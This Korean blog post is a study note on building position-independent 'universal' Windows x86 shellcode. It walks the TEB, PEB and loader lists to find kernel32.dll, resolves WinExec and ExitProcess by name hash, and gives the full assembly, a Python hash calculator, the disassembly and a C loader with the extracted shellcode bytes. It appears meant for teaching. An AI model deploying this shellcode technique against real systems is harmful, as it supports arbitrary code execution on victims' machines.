그냥저냥

Universal ShellCode 기초 정리 본문

System

Universal ShellCode 기초 정리

ex3llo 2017. 2. 6. 23:03

* Universal Shellcode가 필요한 이유

   - Shellcode에 사용되는 API 함수 주소는 부팅할 때마다 kernel32.dll의 상위 2바이트 주소값이 매번 바뀜

     (XP의 경우 서비스팩 버전과 언어 환경이 동일하면 값은 일정함)

   - 같은 DLL 파일이라도 OS 버전과 서비스팩 버전에 따라 API 함수의 주소값이 달라질 수 있음

   - 어떤 시스템에서도 Shellcode의 정상 동작을 위해 Universal Shellcode 제작이 필요

 ex #1 >   (재부팅 전 WinExec 함수의 주소)

 ex #2 >    (재부팅 후 WinExec 함수의 주소)


Universal ShellCode 제작을 위해 필요한 사전 용어 및 지식을 정리하고 넘어가자


1. TEB (Thread Environment Block)

  - 현재 실행되고 있는 쓰레드에 대한 정보를 담은 구조체

  - TEB 접근을 위해 FS 레지스터라는 특수 레지스터 사용

  - TEB 구조체의 0x030 Offset 을 참조하여 PEB 주소를 얻을 수 있음

  - (WinDbg 명령) !teb


2. PEB (Process Environment Block)

  - 실행중인 프로세스에 대한 정보를 담은 구조체

  - 프로세스와 관련된 여러 정보가 있으며, 여기서는 PE 정보와 관련된 필드인 LDR 구조체의 Offset 을 확인할 수 있음

  - PEB 구조체의 0x00C Offset 을 참조하면 LDR 구조체의 주소를 얻을 수 있음

  - (WinDbg 명령) dt _TEB 0x[TEB 주소]


3. PER_LDR_DATA

  - 해당 구조체 내 0x014 Offset 에 존재하는 InMemoryOrderModuleList 는 프로세스의 PE 정보가 담긴 LDR_DATA_TABLE_ENTRY 구조체 시작주소를 얻을 수 있음

  - LDR_DATA_TABLE_ENTRY 구조체는 이중연결리스트 (Double Linked List) 형태로 존재

  - (WinDbg 명령) dt _PEB 0x[PEB 주소]


4. _LDR_DATA_TABLE_ENTRY

  - 로드된 모듈에 대한 정보를 가짐

  - 여기서는 모듈의 주소값 (DllBase) 을 확인

  - InMemoryOrderModuleList의 FLINK를 따라가다보면 kernel32.dll 모듈의 _LDR_DATA_TABLE_ENTRY 구조체를 만날 수 있음

  - (WinDbg 명령) dt _PEB_LDR_DATA 0x[LDR 주소]


5. Kernel32.dll 모듈 주소 확인

  - InMemoryOrderModuleList 의 주소에서 -8 씩 빼면서 진행하다보면 Kernel32.dll의 주소를 알 수 있음


6. PE 헤더의 Export Table에서 해당 모듈이 어떤 API 함수를 Export 하는지 확인

  - 아래 단계를 거쳐 특정 모듈에서 API 함수 주소를 찾을 수 있음

  6-1. 함수명 배열 (AddressOfNames) 에서 원하는 함수의 이름과 해당 인덱스를 찾음

  6-2. 서수 배열 (Ordinals) 에서 인덱스에 해당하는 서수 인덱스 값을 찾음

  6-3. EAT 배열 (AddressOfFunctions) 에서 서수 인덱스에 해당하는 함수 Offset 확인

  6-4. DLL Base 주소 + 함수 Offset 주소 = API 함수 주소


위 내용을 바탕으로 API 주소를  구해서 실행시키는 인어셈블리 코드를 제작할 수 있음 

(소스코드는 책에서 발췌, 책:윈도우시스템해킹가이드, Cafe : http://cafe.naver.com/secuholic)


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#include "stdafx.h"
 
void main()
{
    __asm {    
        jmp start
 
    get_func_addr:
            // get name table index
     loop_ent:
            inc edx  // index++
            lodsd    // eax = *esi , esi += 4
            pushad
            add    ebx, eax  
            mov    esi, ebx  
            xor eax, eax  
            xor edi, edi  
     hash:
            lodsb    // eax = *esi, esi += 1   
            add edi, eax  // edi += char
            test al, al
            jnz hash   
            mov [ebp+0x10], edi 
            popad
            cmp [ebp+0x10], edi // cmp export name hash, function hash
            jne loop_ent        
            // get WinExec address
            movzx edx, word ptr [ecx+edx*2-2]    // Ordinal
            mov edi, [ebp+0x18]
            mov esi, [edi+0x1c]      // Export Address Table
            mov edi, ebx
            add esi, edi        // Address Table
            add edi, [esi+edx*4]
            mov eax, edi
            // edi = 함수주소 리턴
            ret
 
    start:
            // cmd
            xor eax, eax    
            mov [ebp+0xc], eax  
            mov [ebp+0xc], 0x63 // c
            mov [ebp+0xd], 0x6d // m
            mov [ebp+0xe], 0x64 // d
 
            // kernel32.dll base address
            mov eax, fs:[eax+0x30]   // PEB
            mov eax, [eax+0xc]   // PEB_LDR_DATA
            mov eax, [eax+0x14]  // .exe InMemoryOrderModuleList
            mov ebx, [eax]       // ntdll.dll InMemoryOrderLinks
            mov ebx, [ebx]       // kernel32.dll InMemoryOrderLinks 
            mov ebx, [ebx+0x10]     // ebx = kernel32.dll base address
 
            // export table
            mov edi, [ebx+0x3c]  // PE Header
            add edi, ebx
            mov edi, [edi+0x78]     
            add edi, ebx
            mov [ebp+0x18], edi  // Export Directory
            mov esi, [edi+0x20]  // Export Name Table
            add esi, ebx
            mov ecx, [edi+0x24]      
            add ecx, ebx         // Ordinal Table
            xor edx, edx
            pushad
 
            // get WinExec addr
            xor edi, edi
            mov di, 0x2b3 // WinExec API Hash
            call get_func_addr
            mov    [ebp+0x20], eax
            popad
 
            // get ExitProcess addr
            xor edi, edi
            add di, 0x479 // ExitProcess API Hash
            call get_func_addr
            mov    [ebp+0x24], eax
 
            // call WinExec
            xor eax, eax  // eax = 0
            push eax
            lea    eax, [ebp+0xc]  // cmd
            push eax
            call [ebp+0x20// WinExec('cmd',0)
 
            xor eax,eax
            push eax
            call [ebp+0x24// ExitProcess(0)
    }
}
cs


위 코드중 69번 라인, 76번 라인을 보면 각각 0x2b3, 0x479 값이 들어가는데, 이는 API 함수의 Hash 값이다.

"WinExec" 등 비교적 짧은 이름의 함수는 상관없을지 몰라도 "AcquireSRWLockExcLusive" 같은 긴 이름을 가진 함수를 찾아야 할 경우 코드가 길어지거나 연산 속도가 느려질 수 있다. 또는 DLL 모듈 내 수백개의 함수가 존재할 수도 있기 때문에 문자열 비교 방식 보다 API 함수의 Hash 값 비교가 더 효율적이게 된다.


API 함수에 대한 Hash 값은 API 함수명 문자의 아스키값을 더해서 계산하면 된다.


아래 코드는 API 함수의 Hash 값을 구해주는 파이썬 코드이므로 참고하자.

 * pefile 파이썬 모듈 설치

  - API 함수의 Hash 계산 시 파이썬의 pefile 모듈을 이용하므로, 설치가 안되어있는 경우엔 아래처럼 설치하자

  - 명령 : pip install pefile


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import sys
import pefile
 
def usage():
    print " Usage) %s [dll]" % sys.argv[0]
    print " ex) %s kernel32.dll" % sys.argv[0]
 
def get_hash(srcstr):
    hashstr = 0
    for i in srcstr:
        hashstr += ord(i)
    return hex(hashstr)
 
print " # Hash Caculator for Universial Shellcode v1.0"
 
if len(sys.argv) < 2:
    usage()
    sys.exit()
 
pe = pefile.PE(sys.argv[1])
print "%-10s\t%-35s\t%-5s\t%-6s" % ("Address""Name""Ordinal""Hash")
for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:
   print "%-10s\t%-35s\t%-5s\t%-6s" % (hex(pe.OPTIONAL_HEADER.ImageBase + exp.address), exp.name, exp.ordinal, get_hash(exp.name))
cs


해당 파이썬 스크립트를 이용하여 DLL 모듈 내 API 함수에 대한 Hash 값을 알아낼 수 있다.


이제 제작된 인어셈블리 코드를 실행시켜서 잘 동작되는지 확인한 후 쉘코드의 바이트 코드를 추출해내자.

아래는 컴파일 후 디스어셈블리 창으로 이동하여 추출할 쉘코드의 바이트 코드 영역을 나타낸 것이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
0041139E    EB 30            jmp         start (4113D0h) 
    loop_ent:
004113A0    42               inc         edx  
004113A1    AD               lods        dword ptr [esi] 
004113A2    60               pushad           
004113A3    03 D8            add         ebx,eax 
004113A5    8B F3            mov         esi,ebx 
004113A7    33 C0            xor         eax,eax 
004113A9    33 FF            xor         edi,edi 
    hash:
004113AB    AC               lods        byte ptr [esi] 
004113AC    03 F8            add         edi,eax 
004113AE    84 C0            test        al,al 
004113B0    75 F9            jne         hash (4113ABh) 
004113B2    89 7D 10         mov         dword ptr [ebp+10h],edi 
004113B5    61               popad            
004113B6    39 7D 10         cmp         dword ptr [ebp+10h],edi 
004113B9    75 E5            jne         loop_ent (4113A0h) 
004113BB    0F B7 54 51 FE   movzx       edx,word ptr [ecx+edx*2-2] 
004113C0    8B 7D 18         mov         edi,dword ptr [ebp+18h] 
004113C3    8B 77 1C         mov         esi,dword ptr [edi+1Ch] 
004113C6    8B FB            mov         edi,ebx 
004113C8    03 F7            add         esi,edi 
004113CA    03 3C 96         add         edi,dword ptr [esi+edx*4] 
004113CD    8B C7            mov         eax,edi 
004113CF    C3               ret              
    start:
004113D0    33 C0            xor         eax,eax 
004113D2    89 45 0C         mov         dword ptr [ebp+0Ch],eax 
004113D5    C6 45 0C 63      mov         byte ptr [ebp+0Ch],63h 
004113D9    C6 45 0D 6D      mov         byte ptr [ebp+0Dh],6Dh 
004113DD    C6 45 0E 64      mov         byte ptr [ebp+0Eh],64h 
004113E1    64 8B 40 30      mov         eax,dword ptr fs:[eax+30h] 
004113E5    8B 40 0C         mov         eax,dword ptr [eax+0Ch] 
004113E8    8B 40 14         mov         eax,dword ptr [eax+14h] 
004113EB    8B 18            mov         ebx,dword ptr [eax] 
004113ED    8B 1B            mov         ebx,dword ptr [ebx] 
004113EF    8B 5B 10         mov         ebx,dword ptr [ebx+10h] 
004113F2    8B 7B 3C         mov         edi,dword ptr [ebx+3Ch] 
004113F5    03 FB            add         edi,ebx 
004113F7    8B 7F 78         mov         edi,dword ptr [edi+78h] 
004113FA    03 FB            add         edi,ebx 
004113FC    89 7D 18         mov         dword ptr [ebp+18h],edi 
004113FF    8B 77 20         mov         esi,dword ptr [edi+20h] 
00411402    03 F3            add         esi,ebx 
00411404    8B 4F 24         mov         ecx,dword ptr [edi+24h] 
00411407    03 CB            add         ecx,ebx 
00411409    33 D2            xor         edx,edx 
0041140B    60               pushad           
0041140C    33 FF            xor         edi,edi 
0041140E    66 BF B3 02      mov         di,2B3h 
00411412    E8 89 FF FF FF   call        loop_ent (4113A0h) 
00411417    89 45 20         mov         dword ptr [ebp+20h],eax 
0041141A    61               popad            
0041141B    33 FF            xor         edi,edi 
0041141D    66 81 C7 79 04   add         di,479h 
00411422    E8 79 FF FF FF   call        loop_ent (4113A0h) 
00411427    89 45 24         mov         dword ptr [ebp+24h],eax 
0041142A    33 C0            xor         eax,eax 
0041142C    50               push        eax  
0041142D    8D 45 0C         lea         eax,[ebp+0Ch] 
00411430    50               push        eax  
00411431    FF 55 20         call        dword ptr [ebp+20h] 
00411434    33 C0            xor         eax,eax 
00411436    50               push        eax  
00411437    FF 55 24         call        dword ptr [ebp+24h] 

cs


쉘코드의 바이트 코드를 추출하여 아래 C언어 코드로 작성한 후 실행시켜보자.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <windows.h>
 
char shellcode[] = "\xEB\x30\x42\xAD\x60\x03\xD8\x8B\xF3\x33\xC0\x33\xFF\xAC\x03\xF8\x84\xC0\x75"
                   "\xF9\x89\x7D\x10\x61\x39\x7D\x10\x75\xE5\x0F\xB7\x54\x51\xFE\x8B\x7D\x18\x8B"
                   "\x77\x1C\x8B\xFB\x03\xF7\x03\x3C\x96\x8B\xC7\xC3\x33\xC0\x89\x45\x0C\xC6\x45"
                   "\x0C\x63\xC6\x45\x0D\x6D\xC6\x45\x0E\x64\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x40"
                   "\x14\x8B\x18\x8B\x1B\x8B\x5B\x10\x8B\x7B\x3C\x03\xFB\x8B\x7F\x78\x03\xFB\x89"
                   "\x7D\x18\x8B\x77\x20\x03\xF3\x8B\x4F\x24\x03\xCB\x33\xD2\x60\x33\xFF\x66\xBF"
                   "\xB3\x02\xE8\x89\xFF\xFF\xFF\x89\x45\x20\x61\x33\xFF\x66\x81\xC7\x79\x04\xE8"
                   "\x79\xFF\xFF\xFF\x89\x45\x24\x33\xC0\x50\x8D\x45\x0C\x50\xFF\x55\x20\x33\xC0"
                   "\x50\xFF\x55\x24";
 
void main(){
    int* shell = (int*)shellcode;
    __asm{
        jmp shell
    };
}
cs


아래는 결과 화면

결과 #1. Windows XP 


결과 #2. Windows 7

'System' 카테고리의 다른 글

ssdeep + Fuzzy Hash  (0) 2016.08.12
DKOM (프로세스 은닉)  (0) 2016.07.31
BootKit 동작과정 (보류)  (0) 2016.07.31
CPU Ring Level  (0) 2016.07.31
Comments